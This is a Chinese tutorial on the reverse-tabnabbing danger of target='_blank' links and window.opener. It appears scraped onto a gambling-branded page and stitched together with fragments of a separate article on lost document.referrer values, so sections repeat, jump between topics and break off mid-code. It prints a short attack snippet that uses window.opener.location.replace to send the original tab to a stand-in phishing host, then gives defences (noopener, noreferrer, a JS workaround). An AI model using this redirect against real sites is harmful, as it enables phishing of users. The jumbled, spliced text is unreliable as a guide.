9159金沙游艺场

图片 1
用HTML5中的Canvas结合公式绘制粒子运动的教程,html5canvas
图片 42
移动端布局解决方案

javascript操作referer详细解析

危险的 target=”_blank” 与 “opener”

2018/09/05 · JavaScript
· target

原文出处:
创宇前端   

9159金沙游艺场 1

在网页中使用链接时,如果想要让浏览器自动在新的标签页打开指定的地址,通常的做法就是在
a 标签上添加 target等于"_blank" 属性。

9159金沙游艺场,然而,就是这个属性,为钓鱼攻击者带来了可乘之机。

9159金沙游艺场 2

Referrer的重要性 HTTP请求中有一个referer的报文头,用来指明当前流量的来源参考页。例如在www.sina.com.cn/sports/上点击一个链接到达cctv.com首页,那么就referrer就是www.sina.com.cn/sports/了。在Javascript中,我们可以通过document.referrer来获取同样的信息。通过这个信息,我们就可以知道访客是从什么渠道来到当前页面的。这对于Web
Analytics来说,是非常重要的,这可以告诉我们不同渠道带来的流量的分布情况,还有用户搜索的关键词等,都是通过分析这个referrer信息来获取的。

起源

前言

但是,出于各种各样的原因,有时候Javascript中读到的referrer却是空字符串。下面总结一下哪些情况下会丢失referrer。

parentopener

在说 opener 之前,可以先聊聊 <iframe> 中的 parent

我们知道,在 <iframe> 中提供了一个用于父子页面交互的对象,叫做 window.parent,我们可以通过 window.parent 对象来从框架中的页面访问父级页面的 window

opener 与 parent 一样,只不过是用于 <a target="_blank"> 在新标签页打开的页面的。通过 <a target="_blank"> 打开的页面,可以直接使用 window.opener 来访问来源页面的 window 对象。

在网页中使用a链接时,可能会添加一个简单的 target=”_blank” 属性到 a
标签上来让浏览器用一个新的标签页来打开一个 URL
地址。但是这一属性正在成为网络钓鱼者攻击的机会。

修改Location对象进行页面导航 Location对象是一个用于页面导航的非常实用的对象。因为他允许你只变更Url的其中一部分。例如从cn域名切换到com域名,其他部分不变:

同域与跨域

浏览器提供了完整的跨域保护,在域名相同时,parent 对象和 opener
对象实际上就直接是上一级的 window 对象;而当域名不同时,parent
opener 则是经过包装的一个 global 对象。这个 global
对象仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出
DOMException)。

9159金沙游艺场 3

在 <iframe> 中,提供了一个 sandbox 属性用于控制框架中的页面的权限,因此即使是同域,也可以控制 <iframe> 的安全性。

 

parent 和 opener

复制代码 代码如下:

利用

如果,你的网站上有一个链接,使用了
target="_blank",那么一旦用户点击这个链接并进入一个新的标签,新标签中的页面如果存在恶意代码,就可以将你的网站直接导航到一个虚假网站。此时,如果用户回到你的标签页,看到的就是被替换过的页面了。

在讨论 opener 对象之前,我们先看看 <iframe> 里面的 parent 对象。

window.location.hostname = “example.com”;

详细步骤

  1. 在你的网站 https://example.com 上存在一个链接:
&lt;a href="https://an.evil.site"
target="_blank"&gt;进入一个“邪恶”的网站&lt;/a&gt;

<table>
<colgroup>
<col style="width: 50%" />
<col style="width: 50%" />
</colgroup>
<tbody>
<tr class="odd">
<td><div class="crayon-nums-content" style="font-size: 13px !important; line-height: 15px !important;">
<div class="crayon-num" data-line="crayon-5b8f6c4939c60150781393-1">
1
</div>
</div></td>
<td><div class="crayon-pre" style="font-size: 13px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">
<div id="crayon-5b8f6c4939c60150781393-1" class="crayon-line">
&lt;a href=&quot;https://an.evil.site&quot; target=&quot;_blank&quot;&gt;进入一个“邪恶”的网站&lt;/a&gt;
</div>
</div></td>
</tr>
</tbody>
</table>
  1. 用户点击了这个链接,在新的标签页打开了这个网站。这个网站可以通过
    HTTP Header 中的 Referer
    属性来判断用户的来源。并且,这个网站上包含着类似于这样的 JavaScript
    代码:
const url = encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?' + url);

<table>
<colgroup>
<col style="width: 50%" />
<col style="width: 50%" />
</colgroup>
<tbody>
<tr class="odd">
<td><div class="crayon-nums-content" style="font-size: 13px !important; line-height: 15px !important;">
<div class="crayon-num" data-line="crayon-5b8f6c4939c6a538489517-1">
1
</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5b8f6c4939c6a538489517-2">
2
</div>
<div class="crayon-num" data-line="crayon-5b8f6c4939c6a538489517-3">
3
</div>
</div></td>
<td><div class="crayon-pre" style="font-size: 13px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">
<div id="crayon-5b8f6c4939c6a538489517-1" class="crayon-line">
const url = encodeURIComponent('{{header.referer}}');
</div>
<div id="crayon-5b8f6c4939c6a538489517-2" class="crayon-line crayon-striped-line">
window.opener.location.replace('https://a.fake.site/?' + url);
</div>
<div id="crayon-5b8f6c4939c6a538489517-3" class="crayon-line">
 
</div>
</div></td>
</tr>
</tbody>
</table>
  1. 此时,用户在继续浏览这个新的标签页,而原来的网站所在的标签页此时已经被导航到了
    https://a.fake.site/?https%3A%2F%2Fexample.com%2F
  2. 恶意网站 https://a.fake.site 根据 Query String
    来伪造一个足以欺骗用户的页面,并展示出来(期间还可以做一次跳转,使得浏览器的地址栏更具有迷惑性)。
  3. 用户关闭 https://an.evil.site
    的标签页,回到原来的网站………………已经回不去了。

上面的攻击步骤是在跨域的情况下的,在跨域情况下,opener 对象和
parent
一样,是受到限制的,仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出
DOMException)。

但是与 parent 不同的是,在跨域的情况下,opener 仍然可以调用
location.replace 方法
parent 则不可以。

如果是在同域的情况下(比如一个网站上的某一个页面被植入了恶意代码),则情况要比上面严重得多。

我们都知道 <iframe> 提供了一个用于父页面与子页面交互的对象,它就是
window.parent。也就是我们可以通过 window.parent 对象去访问父页面的
window对象。

但是,通过修改Location进行页面导航的方法,会导致在IE下丢失Referrer。

防御

``<iframe> 中有 sandbox 属性,而链接,则可以使用下面的办法:

而 opener 是跟 parent 一样的对象,但是它只是用于通过 <a
target=”_blank”> 来打开的新标签页。你可以通过 window.opener
直接的访问到新标签页面的 window 对象。

IE5.5+ 下返回空字符串

1. Referrer Policy 和 noreferrer

上面的攻击步骤中,用到了 HTTP Header 中的 Referer 属性,实际上可以在
HTTP 的响应头中增加 Referrer Policy 头来保证来源隐私安全。

Referrer Policy 需要修改后端代码来实现,而在前端,也可以使用 <a> 标签的 rel 属性来指定 rel="noreferrer" 来保证来源隐私安全。

<a href=”” target=”_blank”
rel=”noreferrer”>进入一个“邪恶”的网站</a>

1
<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>

但是要注意的是:即使限制了 referer
的传递,仍然不能阻止原标签被恶意跳转。

同域和跨域

Chrome3.0+,Firefox3.5,Opera9.6,Safari3.2.2均正常返回来源网页

2. noopener

为了安全,现代浏览器都支持在 <a> 标签的 rel 属性中指定 rel="noopener",这样,在打开的新标签页中,将无法再使用 opener 对象了,它为设置为了 null

<a href=”” target=”_blank”
rel=”noopener”>进入一个“邪恶”的网站</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>

浏览器原本提供了完整的跨域保护机制。当新旧页面域名相同时,事实上 parent
对象和 opener 对象都是父页面的 window 对象。当域名不同时,parent 和
opener 是包装过的 global 对象。这个 global
对象只提供了非常受限制的属性,其中大部分的属性是不允许访问的
(当你点出这些属性时它会抛一个 DOMException 的错误)。

window.open方式打开新窗口 示例:

3. JavaScript

noopener 属性看似是解决了所有问题,但是…浏览器的兼容性问题…

9159金沙游艺场 4

可以看到,现在绝大多数浏览器都已经兼容了 rel="noopener"
属性了。但是,为了保护稍旧的“近代”浏览器或是很旧的“古代”浏览器甚至是“远古”浏览器,只有
noopener 属性还是远远不够的。

这时,就只能请出下面这段原生 JavaScript 来帮忙了。

“use strict”; function openUrl(url) { var newTab = window.open();
newTab.opener = null; newTab.location = url; }

1
2
3
4
5
6
"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}

9159金沙游艺场 59159金沙游艺场 6

复制代码 代码如下:

推荐

首先,在网站中的链接上,如果使用了 target="_blank",就要带上
rel="noopener",并且建议带上 rel="noreferrer"。类似于这样:

<a href=”” target=”_blank” rel=”noopener
noreferrer”>进入一个“邪恶”的网站</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>

当然,在跳转到第三方网站的时候,为了 SEO 权重,还建议带上
rel="nofollow",所以最终类似于这样:

<a href=”” target=”_blank” rel=”noopener
noreferrer nofollow”>进入一个“邪恶”的网站</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>

在 <iframe> 中,提供了一个 sandbox
属性来控制这些页面的权限,所以即使是相同域名,你也可以通过它来控制
<iframe> 的安全性。

<a href=”#”
onclick=”window.open(‘;

性能

最后,再来说说性能问题。

如果网站使用了 <a target="_blank">,那么新打开的标签页的性能将会影响到当前页面。此时如果新打开的页面中执行了一个非常庞大的
JavaScript
脚本,那么原始标签页也会受到影响,会出现卡顿的现象(当然不至于卡死)。

而如果在链接中加入了
noopener,则此时两个标签页将会互不干扰,使得原页面的性能不会受到新页面的影响。

1 赞 收藏
评论

9159金沙游艺场 7

恶意攻击

点击此链接会在新窗口打开Google网站,我们在地址栏中输入以下js代码就可以看到发送的referrer了。

如果你的网站上有一个使用了 target=”_blank” 的 a
标签链接,一旦用户点击了这个链接打开了新的标签页,如果这个标签页跳转的网站内存在的恶意代码,那么你原本页面的网站可能会被转到一个假的页面。也就是说,当用户回到原本的页面时,他看到的可能就是已经被替换过的钓鱼页面了。

复制代码 代码如下:

这里还是要推荐下小编的web前端学习 群 :
687958461,不管你是小白还是大牛,小编我都欢迎,不定期分享干货,包括小编自己整理的一份最新的web前端资料和0基础入门教程,欢迎初学和进阶中的小伙伴。在不忙的时间我会给大家解惑。

javascript:alert(document.referrer)

步骤

测试结果:

  1. 你的网站上有一个 a 标签的链接

IE5.5+ 下返回空字符串

Enter an “evil” website

Chrome3.0+,Firefox3.5,Opera9.6,Safari3.2.2均正常返回来源网页

一个用户点击了这个链接在一个新的标签页打开这个新的网站。这个网站可以根据用户跳转新页面的
HTTP 请求中的 header 里的 Referer 字段来确定这个用户的来源。

如果是同个域名下通过此方式跳转的,那么我们可以通过访问windoww.opener对象去获取丢失的referrer信息。代码如下:

而这个网站包含类似的 JavaScript code:

复制代码 代码如下:

相关文章

No Comments, Be The First!
近期评论
    功能
    网站地图xml地图